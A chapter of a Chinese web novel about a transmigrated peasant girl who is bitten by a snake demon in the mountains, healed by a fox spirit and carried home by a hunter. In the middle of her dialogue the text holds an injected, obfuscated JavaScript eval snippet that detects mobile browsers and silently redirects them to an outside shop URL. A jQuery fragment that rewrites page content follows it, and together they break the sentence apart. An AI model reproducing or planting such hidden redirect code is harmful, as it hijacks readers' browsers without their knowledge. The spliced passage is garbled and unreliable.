走了许久,还是没看到可以割满一背篓猪草的地方,快变成咸鱼干巴了。
李美凤把短袖子扯了扯,挡住被太阳晒得刺痛的皮肤,捏了捏皮包骨的手臂,自己又异想天开了,先养好身体再说吧,夜夜受噩梦折磨,也不是个事儿。
要想养好身体,就得吃东西,可屋子里能吃的东西,全被李奶管着,野外能吃的食物更少,自己现在还是个骨瘦如柴的臭丫头。
这时节地里忙活不过来,眼见家里又没柴火,李奶便赶人出来砍柴。
李美凤无聊地走在蜿蜒曲折小道上,背篓摇摇晃晃,根本看不见人,倒像是背篓成精了。
身穿粗裤灰衣,枯黄的辫子垂落在肩颈处,用姑姑做衣服剩下红布条捆着,也给人添了丝气色,现在也是有衣服穿就不错了,村里还有些小屁孩光着呢。
李美凤又忍不住叹了口气。
来到山脚,不经意抬头,想看看山路,却被刺眼的阳光照射,好似戳中神经,一瞬间有些头晕目眩。
手脚并用,没爬一会,她就汗如雨下,枯黄的头发湿搭在额头,乱似一团鸡窝。
记忆里原身娘说过,一个人不能进山里的,容易有去无回。
天不遂人愿,环顾四周,全是树被砍后留下的木桩子。
看来只能到半山腰去,那里离村太远,孩子少有踏足主要是不敢去,想去也得挨顿打。
越往山里走,越是树多草密。可能有蛇,李美凤心里打鼓。
要是自己有猎户本领,不仅能对付毒蛇猛兽,还能寻奇珍异宝,最后拿去城里卖钱,何愁没好日子过啊。
看着高耸入云,一望无际的大山,说还有修仙门派呢。
要真这样,自己也不砍柴了,直接去拜师学艺,不求长生不老,那日子怎么说也比现在强。
李美凤想着有些想笑不出来,又感受到周围的幽静,赶紧用砍刀故意弄处些声响。
这会日照当空,妖魔鬼怪通通闪开。
“我活两世的人了,怕什么,真是没出息,这山下不是还住着人吗?”山里传来些李美凤的回音。
“哈哈哈,自己吓自己,以前我放牛的时候一个人到处找牛也不怕呢,这算啥,哈。”
是了,听李奶说,山脚下有个出名的猎户叫裴庆,本事大,从小跟着他爹进山打猎,会挖草药,长得人高马大,相貌俊郎。
听着什么都好,就是个没人嫁给他。
因为他老爹是个老顽固,不让媳妇抛头露面,也不让回娘家,最后逼得裴庆娘和离再嫁了。
老猎户这才后悔不已,一天浑浑噩噩地喝酒,又摔断了腿,现在还躺床上不能动弹。
儿子出人出钱,雪上加霜,估计成家立业还远着呢。
李奶讲得跌宕起伏,添油加醋,语气存了对裴庆她娘的羡慕。
小姑姑向往道:“娘,我也想去城里过日子。”
话刚落地,姑姑的脑袋就被阿奶敲了敲。
“怎么,你想去喝西北风”,她话音一转“或者你三哥高中,带咱们去过好日子。”
小姑撇嘴:“那我得等到何年何月?”
阿奶怒了,“滚一边去,话那么多,自己想办法。”
在原身的记忆里,奶就从来没和李美凤这样心平气和地说过话自己这前世也没见过奶啊,就这还是缺少些相处经验。
倒是村里人时常笑眯眯地问她,“怎么你爹娘还没给你生个弟弟?”
没儿子成了二房的心病,腰杆直不起来,任劳任怨地给一大家子当老黄牛,女儿有样学样。
终于,原身十二岁时,二房愿望成真,有了儿子,却差点饿死女儿。
原身的爹李二根,也醒悟过来,借着为女儿讨公道,说起多年种种,痛不欲生,企图唤醒爹娘的一丝良心。
哭喊闹了一场,试探地提了分家,但这只是李二根的小心思,他才不会真的想分家呢。
真老黄牛会麻木地干活,灵活的老黄牛会耐心细致地观察环境,为自己一家子挤压出生存空间。
李二根的反抗遭到了绝对的镇压,但获得一点补偿,孩子也能多吃点粥了。
但这也导致李美凤得了后遗症,好似饿死鬼投胎。
李美凤翻出背篓里的竹筒,不敢对着起皮的嘴唇,使劲摇晃了两下,解了些渴,肚子也不叫了,就是这水一滴都没有了。
无可奈何,李美凤不能痛痛快快去洗个凉水澡,只能委屈自己找个树荫歇口气,别把自己晒死了。
她放下背篓,用砍刀捣鼓出一片空地,靠在背篓上,迷迷糊糊的睡了过去。
心里也是有点担心害怕,这地方别有蛇啊,有蛇也希望被晒成蛇干,毕竟都是沐浴阳光嘛。
太阳把石头表面晒得滚烫,一条白蛇躲在石头夹缝里,被晒得奄奄一息。
忍住不适,吐着蛇信子,它觉察到某处正散发着诱人的气息,让它神魂一颤。
李美凤这会已经晕倒,平躺在地上。
蛇稀稀疏疏地游了过来,顺着人的裤脚爬进,一路向前。
李美凤眉头紧皱,却睁不开眼,身上的冰凉让她舒缓了一下,但危险的气息导致她身心不安,反抗性地蹬了两脚。
白蛇反口一咬,注射毒液,吸食少女滚烫的血液,蛇瞳剧变,食欲大振,正当准备吞噬眼前的猎物时。
一只冰蓝狐狸突然出现,呵斥道:“蛇妖,真当自己是畜生了,还想吃人?”
白蛇头往前一顶,张开血盆大口喷出毒气,见狐狸利落躲开,也开口娇笑道:“哈哈哈,死狐狸装什么,休要多管闲事,还是说,你也想吃人?”
狐尾扬起射出冰剑,燥热的空气都凉快了几分:“死不悔改”,不再多言,她今天必须取这蛇妖内丹以度死劫。
蛇妖知道自己修为不敌这臭狐狸,蛇信子察觉出一丝异常的气息,却是一笑。
她闪躲避让,乘机吐出毒烟,以弱掩饰,想拼死突破,在毒雾中趁机溜走,狐狸却不管不顾,只攻击不让,一时间双方都没讨着好直到双方身影淹没在毒雾中。
蛇妖狰笑:“臭狐狸好好和臭道士玩去吧,吾就不奉陪了。”说着一溜烟跑了。
狐狸皱眉停下,转眼消散。
果然一道士持剑而来,看着周围蛇妖喷出的毒液,本想追击,又见眼前人类脸色乌青,自己若是不管,这人怕是没救了,纠结一瞬,又看了眼她瘦弱的身体,想起自己的师妹。
“该死的蛇妖,今日我必要以你之血祭奠无辜之人。”
蛇妖却只觉可笑自己和那臭狐狸都是为了寻机缘而来,她有感,无论是吃了那个人类还是吃了这个道士,自己的功力都会大涨。
只是这两人身上好似有大气运,那女孩若死了,也算成功了,只是那臭狐狸好像还在那附近,这道士倒是不好杀,要背不少因果,得好好想想个办法,来日方长。
道士却不晓得自己已经被人惦记上,只想快速追去准备斩杀蛇妖,也算给这小姑娘报仇了。
等了那道士和蛇妖的气息消散,狐狸才从李美凤身体钻出来,蹲在旁边观察。
“呵,这崽子怎么和骨架子似的,丑得难以形容”,清脆的声音穿过,燥热的空气也消散许多,狐狸口出人言用爪子扒拉一下李美凤,把人掀滚了一圈。
看着青黑的人滚了下去,爪子呆了片刻,狐狸脸色有一丝尴尬。
“咳,意外意外。”
一阵风吹过,狐狸消失,一个穿着冰蓝色袍衣的清俊绝美的女子出现,倒像是现代电视里演的清冷仙人,她蹲在李美凤旁边,把了一下脉像,惊讶了,这样子倒是还能救一下。
白皙修长的手握着那只乌黑红肿的腿,指甲变成利爪,轻轻一划,伤口处便涌出毒血,再巧里一按,直到血液变得发红。
这人,中了蛇毒倒是没里面死掉,而且自己也感觉有些奇怪,好像自己今天好似专门来救她的,罢了,也算缘分吧。
之前为了修行不折手段,如今倒是发散心救了个人类,她感觉自己身上的热毒散了些,确是聊胜于无,刚刚与蛇妖搏斗又中了蛇毒,自己终究白费一场,还是这少女有何特殊之处吗?
若真是如此,狐狸心中闪过一丝杀意,难道自己真的要就此消散吗,天要绝我?
“啊,妈……痛死人了”,微弱的痛呼声打断了他的思绪。
“妈?那又是什么?”只是这微弱的痛呼让她想起族中的幼崽,都挺容易死的。
片刻后,女子在附近找到解毒草,捏碎后敷在少女红肿的腿伤处。
李美凤疼得腿抽搐一下,草药掉了下来,少年皱眉,看了看自己的衣服,便扯下一块,学着记忆力的样子给她包扎好。
李美凤费力睁开眼,看见眼前蹲着一个假人,因为太美了肯定不是真的,假人正粗暴地给自己包扎伤口。
李美凤恍惚:“这是我死去前的幻觉吗?”
她抬起污泥的手,想要触摸看看这假人的触感,却看着那个身影慢慢消散,难道这是鬼神,就不能是咱的金手指吗?
李美凤不舍道:“美人别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750966|209423||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走,或者带我走啊。”
“你这小家伙挺有意思,活下去吧”,声音好听得似催眠曲,李美凤再一次昏了过去。
随着狐狸的离去,布带也变成一根毛,好似融入李美凤的血肉里,随风消散。
昏睡一觉起来,李美凤动了动腿,没有知觉,也不确定动没动成功,只见乌黑的伤处上敷着草药,盖住了两大黑洞。
“真是哪个好心没人救我一命啊?我没做梦啊”
想起自己做的美梦,咧了咧嘴角。随即又苦下脸,现在该想的事情是怎么下山回村啊。
呼救吧,要是没人发现,一晚上过去,自己不是冷死就是被动物吃了。
“有没有人啊,救命……”
眼看天色渐晚,李美凤实在绝望,再没人自己晚上得留着作野兽的点心了。悲伤中泪流满面。
好似又听到几声呼喊。
“谁在那边哭,发生了何事?”一听就是个男声。
喜从天降,但这陌生男子的声音让李美凤有些害怕,犹豫要不要出声。
裴庆被这附近鬼哭狼嚎的声音留住,安慰道着肯定是个人,鬼怕是哭得没那么难听。
猜想对方可能害怕,便自报家门道:“姑娘,我是山下的猎户裴庆,你咋哭成这样了?”
李美凤一听裴庆,总算是单方面认识的人,放心了一小半。
大声喊道:“裴大哥,我是李家村的人,被蛇咬了,求你救救我”,说完喉咙发哑,只能努力平复情绪。
裴庆听到这话,赶紧跑过去,看见一个黑瘦的姑娘,脸上是泪,灰头土脸的,看不清样貌。
小心询问道:“小姑娘,你这是扭脚受伤了还是咋滴了?”
李美凤指了指腿,难受道:“被蛇咬了,胡乱敷了些草药,有用吗?”
裴庆看了一眼她的伤口,的确没有大碍,惊讶道:“是解蛇毒药草,你,你认识草药吗?”
“哦,听我奶讲过样子,我看着周围这草有点像,就死马当活马医了。”
“那你运气挺好的,中毒百米之内必有解药。”
裴庆没继续追问,倒了些自己制作的药粉在伤口处,生硬地安慰道:“这会再上些药粉就没事了。”
看着她在地上不敢挪动,提议道:“还能走吗,山上夜晚很危险,我送你一路吧。”
李美凤试了试,无奈道:“我腿走不了,得麻烦裴大哥。”
裴庆二话不说,转身蹲下,李美凤小心翼翼着靠上去,为难地看着裴庆的后背。
李美凤恳求道:“那背篓和砍刀能不能麻烦裴大哥递给我?”
裴庆站起身,让她把背篓给背好,又把猎物装背篓里。
两人缓慢地下山了,走到家门口,裴庆放下人。
她娘正在做饭,看着女儿被一个男人背回来,连忙去接。
满脸焦急道:“大女,你这是怎么回事?”
李美凤有气无力道:“娘,我脚被蛇药肿得走不了路,裴大哥打猎回来正好遇上,给我上了药,送我回来。”
妇人连忙道谢,让裴庆留下吃晚饭,晚上让孩子她爹送回家。
裴庆推脱:“顺道的事儿,婶子别客气了,这兔子给小姑娘补身体,我就先回了。”
说完便拿着东西离开。
“美凤,脚伤了赶快歇一歇,等会娘给你端饭来。”
李美凤点头,“辛苦娘了。”
她拖着脚,艰难地想去打水,准备洗干净身上的泥巴汗水再进了屋子里,却没想小奶娃抢了手她的东西,把水盆拖了过来,然后亮晶晶的眼睛看着李美凤。
李美凤看着严重头大身子小的弟弟,笑了笑“真能干,帮了姐姐大忙,去玩吧。”
只是小奶娃也不离开,看着李美凤的腿,“痛痛?”
“已经不痛了,不过肚子饿了,去帮姐弄点吃的吧。”
小奶娃高兴地跑去厨房帮忙,不出意外被赶了出来,自己在墙角用石头、草叶做饭去了。
李美凤回到房间没一会,听见外出干活的人回来,阿奶就让人准备吃饭。
宋知意盛好饭端饭给小鱼,向众人解释了女儿受伤的事情,一家人没再多问。
秋收的活计十分累人,但全家十多口人也没多的东西吃,只是每个人的碗里装着些半干的饭,桌上摆着一盘油炒青菜,一碗蛋汤,拌着咸菜,都饿得没力气说话,只听见刨汤饭的声音。
饭后收拾残局,便各自收拾好上床,说说私房话,安排好明日的活计,闭眼便沉入梦乡。